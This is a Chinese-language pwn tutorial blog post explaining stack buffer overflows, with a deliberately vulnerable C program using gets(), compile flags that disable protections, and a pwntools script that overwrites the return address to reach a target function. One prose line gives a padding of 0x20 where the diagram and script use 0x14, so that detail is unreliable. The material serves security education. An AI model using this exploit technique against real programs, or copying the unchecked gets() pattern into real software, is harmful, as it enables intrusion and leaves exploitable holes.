目录

  1. 1. 前言
  2. 2. 示例
  3. 3. 总结
    1. 3.1. 危险函数
    2. 3.2. 确定填充长度

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

栈溢出原理

2025/3/1 Pwn
  |     |   总文章阅读量:

前言

参考:

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变,目的是控制程序执行流程

前提:

  • 程序必须向栈上写入数据
  • 写入的数据大小没有被良好地控制

示例

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限

例子:

#include <stdio.h>
#include <string.h>

void success(void)
{
    puts("You Hava already controlled it.");
}

void vulnerable(void)
{
    char s[12];

    gets(s);
    puts(s);

    return;
}

int main(int argc, char **argv)
{
    vulnerable();
    return 0;
}

程序的主要逻辑是读取一个字符串并输出,我们希望控制程序执行 success 函数

编译

gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example

-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary;-no-pie关闭 PIE

然后 checksec 检查编译的文件

image-20250301090907749

现在用 IDA 反编译一下这个二进制程序

image-20250301094149537

该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为

             +-----------------+
             |     retaddr     |
             +-----------------+
             |     saved ebp   |
      ebp--->+-----------------+
             |                 |
             |                 |
             |                 |
             |                 |
             |                 |
             |                 |
s,ebp-0x14-->+-----------------+

查看 success 的地址

image-20250301094114876

那么如果我们读取的字符串为

0x20*'a' + 'bbbb' + success_addr
# 'bbbb':32位程序的地址偏移量为4位

由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为

             +-----------------+
             |    0x08049186   |
             +-----------------+
             |       bbbb      |
      ebp--->+-----------------+
             |                 |
             |                 |
             |                 |
             |                 |
             |                 |
             |                 |
s,ebp-0x14-->+-----------------+

使用 pwntools 打入 payload:

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x08049186
## 构造payload
payload = b'a' * 0x14 + b'b' * 0x4 + p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

image-20250301093958092


总结

危险函数

像 gets 这样存在溢出危险的函数还有至少6个

// 输入
gets // 直接读取一行,忽略'\x00'
scanf
vscanf
// 输出
sprintf
// 字符串
strcpy // 字符串复制,遇到'\x00'停止
strcat // 字符串拼接,遇到'\x00'停止
bcopy

确定填充长度

计算我们所要操作的地址与我们所要覆盖的地址的距离

一般是用 IDA 查看,根据其给定的地址计算偏移。一般变量会有以下几种索引模式:

  • 相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得
  • 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
  • 直接地址索引,就相当于直接给定了地址。

覆盖需求一般有:

  • 覆盖函数返回地址,这时候直接看 EBP
  • 覆盖栈上某个变量的内容,这时候就需要更加精细的计算
  • 覆盖 bss 段某个变量的内容
  • 根据现实执行情况,覆盖特定的变量或地址的内容。